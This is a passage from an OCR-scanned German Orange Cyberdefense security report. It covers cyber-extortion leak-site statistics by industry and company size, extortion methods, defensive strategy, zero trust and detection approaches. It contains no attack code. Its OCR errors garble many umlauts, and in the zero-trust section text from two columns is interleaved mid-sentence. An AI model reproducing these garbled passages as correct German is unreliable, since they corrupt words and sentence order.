Ferner kann festgehalten werden, dass Léander, die bisher
eher verschont geblieben sind, nicht hoffen kénnen, dass
dies so bleibt.

www.orangecyberdefense.com
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Opfer von Cy-X-Leak-Bedrohungen nach Branche
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Unsere Analyse der Leak-Bedrohungen erméglicht es uns auch
zu untersuchen, welchen Branchen die Opfer angehéren. Wir
verwenden das NAICS-Klassifikationssystem™*! und ordnen die
Opfer dem Code der obersten Ebene (zwei Buchstaben) zu.

In der obigen Grafik wird von uns die Anzahl der Opfer nach
Branche in unserem Datensatz fir die entsprechenden
Zeitrdume in den Jahren 2020 und 2021 sowie die
geschatzte Gesamtzahl der Unternehmen in dieser Branche
veranschaulicht

Wahrend fast alle Industriezweige von Bedrohungen durch
Datenlecks betroffen waren, rangieren Unternehmen aus den
Bereichen Fertigung und freiberufliche, wissenschaftliche und
technische Dienstleistungen durchweg unter den Top 3.

Es kann sein, dass Kriminelle der Meinung sind, dass
Unternehmen in diesen Branchen eher zahlen. Es kann aber
auch sein, dass ihre gesamte Cyber-Sicherheitsinfrastruktur
sowie ihre Méglichkeiten zur Wiederherstellung im Vergleich zu
anderen Branchen méglicherweise nicht so stabil sind.

Es kann aber auch andere Erklarungen daflir geben: Flr den
Uberwiegenden Teil der Branchen kann die GesamtgroBe

der jeweiligen Branche der Grund fur ihre Prévalenz sein.

Das Ranking der freiberuflichen, wissenschaftlichen und
technischen Dienstleistungen, des Einzelhandels, des
Baugewerbes, des Gesundheits- und Sozialwesens sowie des
Finanz- und Versicherungswesens in den Opferlisten kann als
Beleg fiir diese Hypothese angefiihrt werden.
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Die Ausnahmen von der Regel ,Je-gréBer-die-Branche’ kbnnen
durch die Qualitét ihrer SicherheitsmaBnahmen erklart werden.

Die Fertigung beispielsweise erscheint in unseren Opferdaten
vollig Uberreprasentiert, wéhrend Unternehmen mit Bezug zum
Gesundheitswesen unterreprasentiert sind.

Wir gehen deshalb davon aus, dass dies nicht von der
Auswahl des Ziels der Angreifer oder der BranchengréBe
abhéngt, sondern eher von der allgemeinen Anfalligkeit fur
Schwachstellen von Unternehmen in dieser Branche.

Durch die Anfélligkeit kann nicht vorausgesagt werden, wer
angegriffen wird, sondern welche Unternehmen bei einem
Angriff zu Opfern von Leak-Bedrohungen werden.

Bei einer weiteren Analyse dieser Daten stellen wir fest, dass
die Top-Akteure allesamt die meisten Opfer in denselben
wenigen Branchen - die gleichen Branchen, die insgesamt am
haufigsten Angriffen zum Opfer fallen — kompromittieren.

Sofern Akteure mit ihren Angriffen auf bestimmte Branchen
abzielen, wirden wir zumindest ein gewisses MaB an
Spezialisierung erwarten. Die Tatsache, dass wir dies
gegenwartig nicht beobachten kénnen, deutet darauf hin, dass
die am haufigsten vertretenen Branchen nicht gezielt anvisiert
werden, sondern eine andere Gemeinsamkeit haben missen.
Wir gehen davon aus, dass der gemeinsame Nenner einfach
darin besteht, dass sie weniger darauf vorbereitet sind, Angriffe
abzuwehren.

In der obigen Grafik wird von uns die Anzahl der Opfer pro
UnternehmensgroBe in unserem Datensatz dargestellt, die den
Top-5-Akteuren fiir jede GréBe zugeordnet ist.

Wie man sehen kann, werden Unternehmen mit weniger als
1.000 Mitarbeitern am haufigsten kompromittiert und bedroht,
mit fast 75 % aller Leaks. Wir haben dieses Muster in den
letzten zwei Jahren durchgéngig in unseren Daten zu Leak-
Bedrohungen beobachten kénnen, aufgeschlisselt nach
Branche, Land und Akteur.

Die naheliegendste Erklarung fir dieses Muster ist wiederum,
dass Kriminelle zwar wahllos angreifen, es jedoch mehr
Kleinunternehmen auf der Welt gibt. Kleine Unternehmen
verfiigen méglicherweise auch tGber weniger Fahigkeiten und
technische Ressourcen, um sich zu verteidigen oder sich von
Angriffen zu erholen.

Tech Insight: Ransomware Offroad .

Dies deutet erneut darauf hin, dass jedes Unternehmen damit
rechnen muss, angegriffen zu werden, und dass der wichtigste
Pradiktor dafir, als Opfer auf einer Leak-Seite aufzutauchen,
die weniger ausgepragte Fahigkeit des Unternehmens ist,
Angriffen standzuhalten und sich von einer Kompromittierung
zu erholen.

Es sei angemerkt, dass uns der Wert der digitalen Daten

fur das Opfer interessiert, nicht der Wert der Daten flir den
Kriminellen, da es sich bei der Straftat, um die es hier geht, um
Erpressung und nicht um Diebstahl handelt.

Jedes Unternehmen, das Uber digitale Datenbesténde verfiigt,
kann daher einem Angriff zum Opfer fallen.

www.orangecyberdefense.com
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Erpressungsmethoden

eingesetzt von den Top-Akteuren im Jahr 2021
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Neue Formen der Erpressung

Cy-X stellt den Straftatbestand der Erpressung dar. Die
Verschlisselung, mit dem Schlussel und der Androhung von
Leaks als Druckmittel, ist ein Mittel, das eingesetzt wird, um
das Losegeld zu erpressen. Bei der Verschllisselung und dem
Ldsegeld handelt es sich um die Mittel, nicht um das Ziel.

Im Jahr 2021 beinhalteten 10 % aller Vorfélle, die wir auf
Leak-Seiten beobachten konnten, keine Verschlisselung. Dies
bedeutet einen Anstieg von 1 % gegentiber den Daten aus
dem Jahr 2020.

Wie aus der vorstehenden Grafik ersichtlich ist, hat sich

der Trend im dritten Quartal 2021 verschoben, sodass es
maoglicherweise zu friih ist, um vorherzusagen, dass sich

die Landschaft grundlegend veréndert hat. Dennoch ist

klar, dass die Verschlisselung nicht das einzige Werkzeug

im Repertoire der Erpresser ist. Gerade dieser Sachverhalt
sollte als Warnung dienen, dass Ransomware-Erkennung und
Backups mdglicherweise nicht mehr ausreichen, um Kriminelle
abzuschrecken.

Eine Untersuchung der Erpressungsarten der 10 geschéftigsten
Akteure zeigt, dass dieses Muster nicht universell ist.

Wie der obigen Grafik entnommen werden kann, greifen die
meisten der Top-10-Akteure immer noch ausschlieBlich auf

die Methode der Verschlisselung fur die Erpressung zurtick.
Andere, wie ArvinClub, verwenden jedoch Uberhaupt keine
Verschlisselung, und wieder andere verwenden eine Mischung
aus verschiedenen Techniken.
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Die wichtigste Erkenntnis in diesem Zusammenhang ist die
Tatsache, dass sich die Kriminalitat weiterentwickeln wird; nicht
nur durch die eingesetzte Technologie, sondern auch durch das
Geschaftsmodell. Sollten andere Formen der Erpressung weiter
an Bedeutung gewinnen, sollten wir uns darauf vorbereiten,
indem wir unsere technischen AbwehrmaBnahmen und
sonstigen MaBnahmen entsprechend anpassen.

Erpressermethoden

Double Extortion: Das ,klassische'
Ransomware-Schema, bei dem Daten verschllisselt
werden und Geld fiir den Entschlisselungsschlissel
verlangt wird, mit der ,doppelten‘ Bedrohung durch
Datenverluste.

Nur Daten-Exposition: Drohung, gestohlene Daten
zu verdffentlichen, um das Opfer zu schadigen oder zu
beschamen, ohne dass die Daten verschlisselt werden.

DDoS: Blockieren einer Website oder eines Dienstes
durch Uberlastung mit Datenverkehr oder Anfragen
und anschlieBende Geldforderung, um den Angriff zu
stoppen.

Nur DDoS-Threat: Androhung eines DDoS-Angriffs
auf Webseiten oder Dienste, es sei denn, es wird eine
Zahlung geleistet, aber keine Durchfiihrung des Angriffs.

Nur Weiterverkauf von Informationen: Weiterverkauf
gestohlener Daten aus anderen Erpressungsangriffen,
ohne Erpressung.

Tech Insight: Ransomware Offroad m ‘

Die Landschaft der Bedrohungsakteure rund um Cy-X ist komplex und
dynamisch. Die Gesamtzahl der Akteure wachst stetig, auch wenn einzelne
Akteure im Laufe der Zeit kommen und gehen. Wahrend eine Handvoll ,Alpha’-
Akteure fUr etwa die Halfte aller Verbrechen verantwortlich sind, gibt es auch
Dutzende anderer ,kleinerer’ Akteure, mit denen man sich auseinandersetzen

Muss.

Lediglich etwa 10 % der Unternehmen, die Uber Leak-Seiten erpresst werden,
scheinen das Losegeld zu zahlen. Doch auch das stellt einen erheblichen
Geldsegen fur die Kriminellen dar.

Die Cyber-Erpressung entwickelt sich weiter; nicht nur durch die eingesetzte
Technologie, sondern auch durch das Geschaftsmodell. Da neue Formen
der Erpressung immer mehr an Bedeutung gewinnen, sollten wir uns darauf
vorbereiten, indem wir unsere technischen AbwehrmaBnahmen und andere
GegenmaBnahmen entsprechend anpassen.

Die Muster in den betroffenen Landern, Branchen und UnternehmensgréBen
bleiben jedoch relativ konstant.

Kriminelle Akteure kompromittieren die meisten Opfer in denselben wenigen
Branchen. Dies legt nahe, dass die am haufigsten betroffenen Branchen nicht
gezielt angegriffen werden, sondern etwas anderes gemeinsam haben —
namlich einfach, dass sie weniger darauf vorbereitet sind, Angriffe abzuwehren.

In fast allen Landern lassen sich Opfer finden. Ferner kann festgehalten
werden, dass L&nder, die bisher eher verschont geblieben sind, nicht hoffen
kdnnen, dass dies so bleibt.

Fast 75 % aller Leaks betreffen Kleinunternehmen. Allerdings kénnen
Unternehmen jeder GréBe betroffen sein.

Dies deutet erneut darauf hin, dass jedes Unternehmen damit rechnen muss,
angegriffen zu werden, und dass die weniger ausgepragte Fahigkeit des
Unternehmens, Angriffen standzuhalten und sich von einer Kompromittierung
zu erholen, das wichtigste Vorzeichen dafr ist, als Opfer auf einer Leak-
Webseite aufzutauchen.

www.orangecyberdefense.com



auf eine defensive Strategie

Unsere Branche hat sich in allen Bereichen rasant weiterentwickelt. Wir konnten beobachten,
wie innovative Lésungen und groBartige Verteidigungssysteme zugénglich wurden. Dennoch
stellen wir nach wie vor fest, dass Unternehmen Angriffen zum Opfer fallen. Man sollte meinen,
dass wir mit all den auf dem Markt erhaltlichen ,Next-Gen” Abwehrlésungen einen Zustand fast
vollstandiger Sicherheit erreicht hatten. Aber das ist offensichtlich nicht der Fall.

Ich mochte Sie zum Denken anregen, den Standard erh6hen und lhnen einige
Informationen mit auf den Weg geben, die lhnen in Zukunft bei der Umsetzung einer

robusteren Abwehrstrategie behilflich sein kbnnen.

Ulrich Swart, Security Analyst,

Eine schnelle Bewertung der Security

Wir mdchten lediglich ein paar einfache Fragen stellen:
Ist Inr Unternehmen auf einen Angriff vorbereitet?

Wissen Sie, was die wichtigsten Probleme/Dienste/
Lésungen sind, die von Angreifern anvisiert werden?

Wer ist flr das Patching verantwortlich und sind
Ihre Systeme sowie lhre Software auf dem neuesten
Stand?

Sind Passworter fir all Inre Systeme unter
Verwendung von Branchenstandards
ordnungsgeman gesichert?

Implementieren lhre Entwicklerteams oder
Netzwerkarchitekten das Thema Security als Teil
Ihrer Designprozesse?

Ist sich jeder Mitarbeiter seiner Rolle im
Sicherheitsprozess bewusst?

Wenn Sie die Beantwortung einer der obigen Fragen mit
LAnhm..« Vielleicht...“ oder einfach nur mit ,Ich hoffe...
einleiten wirden, dann sollten wir uns die Zeit nehmen, um
uns mit diesen Themen auseinanderzusetzen und die aktuelle
Denkweise bezliglich Security zu hinterfragen.

Der eigentliche Zweck der Defense oder Abwehr ist der
aktive oder reaktive Schutz von Assets. Im Zusammenhang
gesehen, mussen Unternehmen Assets, Kundendaten,
Personal, geistiges Eigentum und betriebliche Prozesse
schiitzen. Robbie Sinclair, Head of Security bei Country
Energy NSW Australia, sagte diesbezlglich: ,Sicherheit ist
immer Ubertrieben, bis sie nicht mehr ausreicht.”

Security zu implementieren und aufrechtzuerhalten fihlt sich
haufig Ubertrieben an, nur um die Gefahr eines potenziellen
Angriffs zu mindern. Sobald es allerdings tatsachlich zu einem
Angriff kommt, wiinschen sich die meisten Unternehmen,

sie hatten mehr getan, um sich zu schitzen, den Angriff
abzuschwachen oder zu verhindern. Leider wird man bei den
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Abwehrszenarien zundchst im Nachteil sein, da traditionelle
Abwehrldsungen reaktiv sind und nur auf bekannte oder
vorhersehbare Ergebnisse angewendet werden kénnen.

Angreifer werden immer die Oberhand behalten, da sie die
Zeit und das Uberraschungsmoment auf ihrer Seite haben.
Darliber hinaus ist es komplex, wenn nicht gar unmaglich, alle
Aspekte innerhalb eines Unternehmens zu schiitzen.

Ungeachtet der Weiterentwicklung von Tools, umfangreicher
Forschungen und raffinierter Praktiken: Unbekannte
Bedrohungen werden weiterhin bestehen. Diese Bedrohungen
koénnen nur eine neue Schwachstelle, ein falsch konfigurierter
Dienst oder ein schwaches Passwort sein. Es gibt keine
Wunderwaffe, wenn es um Security geht. Einige sagen, der
sicherste Weg wére, niemals online zu gehen. Aber einfach
nur offline zu bleiben ist nicht die L6sung, die wir vorschlagen.

Nach etlichen Jahren in der Branche des Ethical Hackings
haben wir ein weit verbreitetes Missverstéandnis dariiber
ausmachen koénnen, wer flir die Security verantwortlich

sein sollte. Der Personenkreis derer, die zum Schutz des
Unternehmens beitragen sollten, sollte nicht nur auf Security
Engineers, Blue-Team-Mitglieder oder Analysten des
Security Operations Centers beschrankt sein. Das Thema
Security sollte taglich von allen Personen im Unternehmen
berlicksichtigt werden. Dazu gehdren Entwickler, Architekten,
Manager, FUhrungskréafte, Verwaltungsangestellte und
sonstige Mitarbeiter.

Das Thema Security ist in der Regel der letzte Punkt auf der
Agenda, wenn es Uiberhaupt aufgelistet wird. Sie sollten sich
fragen: Wenn es auf unserer Liste steht, auf wessen Liste steht
es noch?

Das Konzept einer Organisation impliziert, dass wir alle
unsere Eier in einen Korb legen. Dieser Korb enthalt Ihre
Marke, Personal, Software, Hardware, Netzwerke, physische
Gebaude, Internetprasenz und vor allem das Image, das

Sie nach auBen hin ausstrahlen. Alle genannten Bereiche
missen geschitzt werden, nicht nur durch ein einzelnes
Team, sondern durch jeden Mitarbeiter in lnrem Unternehmen.
Fir die meisten Unternehmen werden der Faktor Mensch,
typische Fehlkonfigurationen, unaufhaltsame technologische
Entwicklungen und schadliche Praktiken zum Verhangnis.
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Als Unternehmen mussen wir die Rollen ein wenig umkehren
und die potenziellen Risiken erkennen. Der beste Weg, dies zu
tun, besteht darin, Ihre Assets anzugreifen. Die Bedrohungen
sind real und lhr Unternehmen wird sich ihnen irgendwann
stellen missen. Angreifer kénnen die schwéachsten Glieder
ausmachen und sie zu ihrem eigenen Vorteil ausnutzen.

In unserer Arbeit als Pentester zielen wir darauf ab,
Sicherheitsprobleme basierend auf den Auswirkungen eines
einfachen Saulensystems, genannt CIA Triade, aufzuzeigen.

Sollte ein Unternehmen angegriffen werden, sind einige oder
alle der folgenden Punkte betroffen.

Vertraulichkeit: ob die Informationen geschutzt sind

Integritat: ob Informationen ganz, vollstandig und
unbeeintrachtigt bleiben

Verfiigbarkeit: ob Systeme/Dienste/Ldsungen ohne
Behinderungen oder Stérungen funktionieren

Angreifer verlassen sich auf ein einfaches Rezept wie ein
Backrezept eines Kuchens. Sie benétigen Zutaten, eine
Anleitung und Know-how, um ein Ziel zu erreichen.

Die Zutaten sind wie folgt:
Das Ziel — etwas zum Angreifen
Die Schwachstelle — das Element, das angegriffen wird

Ein Exploit — die Methode, um den Angriff auszufihren

Die Anleitung besteht hauptséachlich aus einer Methodik, ein
logischer Ablauf von MaBnahmen, die ergriffen werden missen,
um die oben genannten Zutaten zu erhalten und diese dazu

zu verwenden, um ein Ziel zu erreichen. Das Endprodukt

wird ,die Kompromittierung’ sein. Ja, Angreifer backen ihren
eigenen Kuchen und essen ihn auch selbst. Sie verwenden

das obige Rezept dazu, um ihre Mission abzuschlieBen, Daten
zu extrahieren, das Unternehmen zu Fall zu bringen oder die
Kontrolle dazu zu nutzen, um einen finanziellen Gewinn zu
erzwingen.

Ein Angreifer muss nur einmal Glick haben — die vorhandenen
Abwehrmechanismen Uberwinden oder eine Fehlkonfiguration
oder menschliche Schwache ausnutzen. Die Art und Weise,
wie Unternehmen sich dem entgegenstellen kdnnen und ihre
Abwehr zu stérken, besteht darin, eine offensive Denkweise
anzuwenden. Das Konzept besteht darin, das schwéachste Glied
in der Abwehrkette zu finden, bevor es ein Angreifer entdeckt,
und es zu stéarken.

Sobald Sie die Denkweise des Angreifers oder die in der Praxis
verwendeten Methoden kennen, kénnen Sie und Ihr Team sich
auf reale Szenarien vorbereiten.
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Der Wandel zu
erfreulichen
Investitionen

Im Bereich der Cybersecurity gibt es Hunderte von verschiedenen
Lésungen, in die man investieren kann — wie soll man also
Prioritaten setzen?

Eine haufige Herausforderung besteht darin, dass sich
Unternehmen auf den Aufbau von Fahigkeiten konzentrieren, anstatt
darauf, Risiken zu verringern. Dieses Verhalten wird durch die starke
Présenz der Security Provider vorangetrieben, die sicherstellen
wollen, dass die Sicherheitsinvestitionen mit den Fahigkeiten ihrer
Technologie Ubereinstimmen.

Das Ergebnis dieses Ansatzes ist eine Uberinvestition in einigen
Bereichen und eine Unterinvestition in anderen Bereichen, wodurch
das Gesamtrisiko moglicherweise nicht wesentlich verringert wird.

Nehmen wir als Beispiel drei Themen, die flir die meisten
Unternehmen die wichtigsten Sicherheitsbereiche sein sollten und in
die sie investieren sollten:

1. Die Kontrolle Uber ihre Assets

2. Die Kontrolle des Zugriffs auf inre Assets

3. Die Fahigkeit, Incidents zu erkennen und darauf zu reagieren
Sehen wir uns also diese verschiedenen Bereiche genauer an!
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Zugriffskontrolle

Wenn Sie lhre wichtigsten Assets mit den Anwendungen und Daten, die Ihr Unternehmen
antreiben, identifiziert haben, wie kdnnen Sie dann den Zugriff darauf auf sichere Weise
gewahrleisten? In der Vergangenheit haben sich viele Unternehmen zu sehr auf den
Perimeterschutz verlassen, so dass der Zugriff auf die Assets hinter diesen Firewalls und VPN-
Diensten recht entspannt war.

Kontrolle uber lhre
Assets

Das Feedback unserer Incident Responder und unserer
Ethical Hacker ist einheitlich. Der einfachste Weg ist der
Angriff auf ,vergessene’ Assets.

Heute schreiben wir das Jahr 2021, und die Daten und Nutzer befinden sich tberall. Laut Forbes
werden 80 % der Unternehmens-IT bis 2025 in die Cloud verlagert “". Hinzu kommt, dass die
Bedrohungslandschaft fortschrittlicher denn je ist. Wir miissen also jedes Gerét als angegriffen
betrachten und den Zugriff darauf so einrichten, dass so wenig Schaden wie mdglich angerichtet
werden kann, falls es tatséchlich angegriffen wurde. Niemals vertrauen, immer verifizieren.

Viele Unternehmen verfligen Uber Assets, die mit ihrer Infrastruktur verbunden sind, von denen sie aber
nichts wissen, die nicht Teil von Standardprogrammen fir Vulnerability Management sind oder die nicht Dieses neue Konzept des ,Zero Trust’ fiir die Zugriffsvergabe ist der Schliissel zur Begrenzung
durch Best-Practice-Konfigurationen geregelt sind. Dies macht sie zu einem perfekten Ziel, um sich der Auswirkungen von Sicherheitsverletzungen. Und ja, es wird eine Sicherheitsverletzung geben,
Zugriff zu verschaffen, Privilegien zu erhéhen oder sie als Hintertlr ins Unternehmen zu nutzen. also bereiten Sie sich besser darauf vor.

Viele der Kunden, die wir getroffen haben, stehen vor den gleichen Herausforderungen:

= Unsere CMDB ist nicht 100%ig vollstandig und korrekt

. . . Es gibt kein

= Wir haben keinen klaren Uberblick iiber unsere wichtigsten Assets innerhalb...

Innerhalb =
vertrauenswurdig

|

“  Unsere Cloud-Umgebung ist sehr dynamisch und wir haben keine 100%ige
Kontrolle Gber alle Workloads

“  Unserem Vulnerability Management Programm fehlt ein klarer Rahmen und KPlIs

“  Wir haben keine klare Bestandsaufnahme und Klassifizierung unserer Daten

)

Wie kdnnen wir jemals optimal in Security investieren, wenn wir nicht wissen, wo sich unsere wichtigsten

Assets und Daten befinden und wie groB die Angriffsflache flr diese Assets ist? n . e
9 g Klassische Die neue Cloud-Realitat
Ich denke, das ist eine berechtigte Frage. Perimeter-Security Zero Trust

Warum ist das so, werden Sie sich fragen?

a
»-’-.
A [ ]

In der Praxis bedeutet dies, dass Sie niemals einem Geréat vertrauen sollten, nur weil es
mit einem vertrauenswirdigen Netz verbunden ist, und Sie sollten niemals einem Benutzer
vertrauen, nur weil er ein vertrauenswirdiges Gerat verwendet. Natlrlich muss ein Gleichgewicht

- ] zwischen Security und Benutzerfreundlichkeit bestehen. Sie kénnen von einem Benutzer nicht
F verlangen, dass er bei jedem neuen Zugriff die Multifaktor-Authentifizierung (MFA) verwendet,
aber Sie mussen sich des Risikos der einmaligen Anmeldung bewusst sein. Wenn Sie nach der
. anfanglichen MFA 12 Stunden lang freien Zugriff zu allen Anwendungen gewahren, wird jeder, der
, 1
. P——

-

dieses Gerét benutzt, diesen Zugriff haben. Dies gilt sowohl fiir den physischen Zugriff auf nicht
gesperrte Bildschirme, als auch fir den Fernzugriff auf Laptops.

Der richtige Ansatz fiir Zero Trust sollte also eigentlich lauten:

»Niemals vertrauen, immer verifizieren UND tiberwachen”

L]
Und nein, Sie werden wahrscheinlich nicht in der Lage sein, von heute auf morgen auf die
vollstdndige Umsetzung von Zero Trust Uberzugehen. Also beginnen Sie mit der Identifizierung
der Kronjuwelen lhres Unternehmens und setzen Sie es zunéchst dort um.

yberdefense.com



Die Kompetenz des Detect
& Respond

Sie alle wissen inzwischen, dass es so etwas wie einen 100%igen Schutz nicht gibt.
Da Sie sich dessen bewusst sind, wissen Sie auch, dass es zu Sicherheitsverletzungen
kommen kann.

Die Auswirkungen einer Sicherheitsverletzung stehen in direktem Zusammenhang mit
Ihrer Fahigkeit, sie zu erkennen und darauf zu reagieren!

Je schneller Sie eine Sicherheitsverletzung erkennen und darauf reagieren kdnnen, desto geringer ist das Risiko,
dass Ihr geistiges Eigentum gestohlen oder Ihre Infrastruktur gegen Lésegeld verschlisselt wird.

Das bedeutet, dass alle Unternehmen einen detaillierten Plan und eine Strategie fir die Erkennung von und die
Reaktion auf Bedrohungen haben, richtig?

Nun, nicht ganz. Auch hier sind wir dem Marketing von Security-Anbietern ausgeliefert.

Log-basierte Detection

Was sie lhnen sagen: ,Wir verfiigen Uber fortschrittliche Kl-Verhaltensmodelle fir Zero-Day-Bedrohungen.”

Was sie Ihnen nicht sagen:

sWir sind in hohem MaBe von der Art und Struktur der von lhnen gesendeten Daten abh&ngig und wir sind nur ein
sekundares Detection-System. Ein anderes System muss die priméare Detection Gbernehmen und die Daten an uns
senden.”

Endpoint-basierte Detection

Was sie lhnen sagen:
»Wir erkennen alle Bedrohungsaktivitaten auf dem Endpoint, kénnen Threat Hunting Zugriff zu Ihrer Infrastruktur
verschaffen und infizierte Gerate direkt isolieren.”

Was sie Ihnen nicht sagen:

»Wenn sich der Angreifer auf dem Endpoint befindet, kann nicht ausgeschlossen werden, dass der Client
abgeschaltet oder ausgehebelt wird. Was machen Sie auBerdem mit all den Geréten, die mit Inrem Netzwerk
verbunden sind und auf denen Sie keinen Agenten installieren kénnen?”

Netzwerk-basierte Detection

Was sie lhnen sagen:

+ES ist die beste Methode zur Erkennung von Infizierungen bei nicht verwalteten Geraten, z.B. bei Angriffen in der
Lieferkette. Durch den Einsatz von Kl zum Beobachten lhrer Infrastruktur kdnnen wir Kommunikationsanomalien
finden, die mit Log-basierter oder Endpoint-basierter Detection unméglich zu finden sind.”

Was sie Ihnen nicht sagen:

»Ein groBer Teil des Datenverkehrs ist verschlisselt, und das schrankt die Details ein, die wir sehen kénnen. Wir
sind nicht in der Lage, Entwicklungsmuster auf dem Endpoint zu erkennen, nur, wenn er nach auBen kommuniziert.”

Cloud-basierte Detection

Was sie Ihnen sagen:
sLeistungsstarke Threat Detection durch eine Kombination aus maschinellem Lernen und Threat Intelligence.”

Was sie lhnen nicht sagen:
»Die Threat Detection und Triage ist auf die Uber die APIs des Cloud-Anbieters verfligbaren Daten beschrankt.”

Wie Sie sehen, gibt es kein Patentrezept fir die Erkennung von Bedrohungen. Sie mussen Ihr Umfeld, die
Bedrohung und die Mdglichkeiten der verschiedenen Technologien kennen. Dartiber hinaus braucht man auch die
Ressourcen und das Fachwissen, um diese rund um die Uhr zu optimieren. Aus diesem Grund wenden sich die
meisten Kunden an einen vertrauenswiirdigen Sicherheitspartner, der ihnen hilft, den Ausgangspunkt und den Weg
fur ihre Strategie zur Erkennung von Bedrohungen zu finden.

© Orange Cyberdefense

Fazit

Wir gehen davon aus, dass sich Sicherheitsinvestitionen nicht mehr alleine auf
den Aufbau eigenstandiger Abwehrkompetenzen, sondern auf die Verringerung
des Gesamtrisikos fUr das Unternehmen konzentrieren werden.

Um dies zu erreichen, missen Unternehmen den Teil des Sicherheitsbudgets
erhdhen, der dem Verstandnis ihrer Angriffsflache gewidmet ist, einschlielich
der Identifizierung kritischer Assets und Daten. Weiterhin missen sie die
Tatsache akzeptieren, dass sie angegriffen werden, und einen soliden Plan fir
das Krisenmanagement erstellen, der umfassende Erkennungsfahigkeiten fir
die Cloud, Anwendungen und verwaltete/unverwaltete Gerate umfasst. Dies
wird auf Kosten einiger traditioneller Sicherheitsinvestitionen geschehen.

Durch die Umstellung auf ,erfreuliche Investitionen’, kbnnen die Unternehmen
das Risiko verringern und gleichzeitig ihre Sicherheitsinvestitionen optimieren.

\

Geringe Komplexitat Mittlere Komplexitdt Hohe Komplexitét

- Asset Mgmt. - Network Security - Threat Detection
- Vulnerability Mgmt. - Endpoint Protection - Incident Response
- Datenklassifizierung - Access Mgmt. - Digital Risk Mgmt.

y
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Zusammenfassung:

Was haben
wir gelernt?

Was wir bisher gelernt haben, ist, dass das Thema
Cybersecurity auBerordentlich komplex geworden ist. Erstens
konnten wir durch unsere MDR-Services-Daten aufzeigen,
wie vielschichtig die Angriffe sind. Zweitens kdnnen wir eine
wachsende Vielfalt von Sicherheitsereignissen beobachten,
die durch unsere World-Watch-Initiative fir Sie analysiert
werden.

Unsere Experten entschlisseln, wie Kriminelle in ihrem
eigenen abgeschiedenen Okosystem agieren, und zeigen,
dass es nach wie vor von entscheidender Bedeutung ist,
Sicherheitsliicken entsprechend zu beheben, um unsere
Sicherheitsinfrastruktur zu verbessern.

So werden in diesem Jahr 18.000 neue Schwachstellen
entdeckt. Mehr als 2 pro Stunde

Die durchschnittliche Zeit, um sie zu beheben, d. h. durch
Patch oder Begrenzung, verringert sich langsam auf etwa

60 Tage. Allerdings nutzen Angreifer nach wie vor zu oft
Sicherheitsllicken aus, bevor sie von Unternehmen bearbeitet
werden kénnen. Es ist sogar so, dass einige von ihnen
bereits wenige Stunden nach ihrer Veréffentlichung als Waffe
eingesetzt werden.

In der IT-Welt bleibt Microsoft in Bezug auf die Anzahl der
Schwachstellen Spitzenreiter, gefolgt von Google.

In der OT steigen ICS- und loT-Schwachstellen rapide
an und machen heutzutage insgesamt 10 % aus. Leider
sind diese Sicherheitsllicken meistens kritisch und/oder
leicht auszunutzen, ein Trend, der mit der mangelnden
Sicherheitsreife in dieser Branche zusammenhéangt.

SchlieBlich haben uns unsere Pentesting- und CSIRT-Stories
gezeigt, dass Angreifer weiterhin kreativ sind, wenn es um
das Ausnutzen von Schwachstellen geht.

Und als ob das nicht genug wére, unternehmen
Ransomware-as-a-Service-Banden immer gréBere
Anstrengungen, um ihren Opfern Geld abzunehmen. Dabei
setzen sie Taktiken ein, wie das Initiieren von DDoS-Angriffen,
das Versenden von E-Mails an Kunden und Medien, die
Versteigerung gestohlener Daten oder es werden Versuche
unternommen, den Aktienmarkt zu beeinflussen usw..

Der Job der Verteidiger scheint anspruchsvoller denn je zu
sein. Diejenigen, die einen Guide haben, werden es leichter
haben, auf dieser Reise voranzukommen.

Es ist wichtig, einen Schritt zuriickzugehen und die
Cyberdefense aus einer strategischeren Perspektive zu

© Orange Cyberdefense
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betrachten. Der erste Schritt zur Komplexitatsreduktion
besteht darin, ein grundlegendes Konzept umzusetzen:
Secuirity ist eine Reise, kein Ziel.

Es ist ein bewegliches Ziel, und der einzige Weg, ihm

naher zu kommen, besteht darin, selbst in Bewegung zu
bleiben. Sobald dieses Prinzip verstanden wurde, wird die
Vorgehensweise viel klarer und kann in umsetzbare Schritte
aufgegliedert werden.

Bei einem ausgedehnten Wanderausflug tief in den Wéldern
gilt es entsprechend zu planen und 1. den aktuellen
Aufenthaltsort herauszufinden, 2. den ndchsten Wegpunkt
festzulegen, 3. die richtige Richtung zu bestimmen, in welche
man gehen muss. Einmal dort angekommen, kann man diese
Schritte wiederholen.

Entsprechend kdnnen lhnen Cyber-Risikobewertungen und
Ethical Hacking einen Hinweis darauf geben, wo Sie in Bezug
auf die Cybersecurity stehen. Eine Beratung kann lhnen
anschlieBend helfen, die Prioritaten und Plane zu bestimmen,
die geman lhren sich entwickelnden Geschéftsanforderungen
erforderlich sind. Technologieexperten helfen Ihnen dabei,
diese Roadmap richtig umzusetzen und stellen sicher, dass
Sie auf Kurs bleiben.

Sobald ein erster Wegpunkt erreicht ist, wird die

Reise fortgesetzt, sofern die Verbesserungen das

erwartete Ergebnis erzeugen. Die Aufschlisselung der
Sicherheitsherausforderungen in realistische néchste
Schritte ist ein guter Weg, um die wachsende Komplexitat zu
bewaltigen.

Ein weiterer wichtiger Aspekt, der oft unterschéatzt wird, ist die

Tatsache, dass Sie in der Situation nicht allein sind. Sowonhl
Ihre Kunden als auch Lieferanten und sogar lhre Mitbewerber
sehen sich weitgehend der gleichen Bedrohungslandschaft
ausgesetzt wie Sie.

Die Bildung von Partnerschaften zwischen Verteidigern,

der Austausch bewahrter Praktiken und die Festlegung
gemeinsamer Sicherheitsrichtlinien wird die Security fir

alle erheblich verbessern. Viel zu oft und viel zu lange

haben Kriminelle davon profitieren kdnnen, dass jedes
Unternehmen diesen Kampf im Alleingang fiihrt. Es liegt an
uns, das zu andern. Dies ist das Thema, bei dem Differenzen
beiseitegelegt werden sollten, um an einem Strang zu ziehen
und einer Bedrohung gemeinsamen zu begegnen.

Europaische Strafverfolgungsbehdérden setzen dies bereits
seit langem in die Praxis um. Unter der Schirmherrschaft von
Europol werden zum Beispiel immer wieder neue sektorielle
ISACs (Information Sharing and Analysis Center) aufgebaut.

Die Wege, dies zu erreichen, sind vielfaltig. Ein einzelnes
mittelstédndisches Unternehmen wird es realistisch gesehen
schwer haben, beispielsweise ein voll ausgestattetes SOC
aufzubauen, zu besetzen und zu unterhalten. Fir eine Allianz
mehrerer mittelstédndischer Unternehmen erscheint die
Bewaltigung einer solchen Aufgabe realistisch.

Ein dritter wichtiger Punkt, um die Sicherheit in den Giriff zu
bekommen, wird von dem groBen Sun Tzu Uberaus treffend auf
den Punkt gebracht. Sich selbst zu kennen, geht jedoch Uber
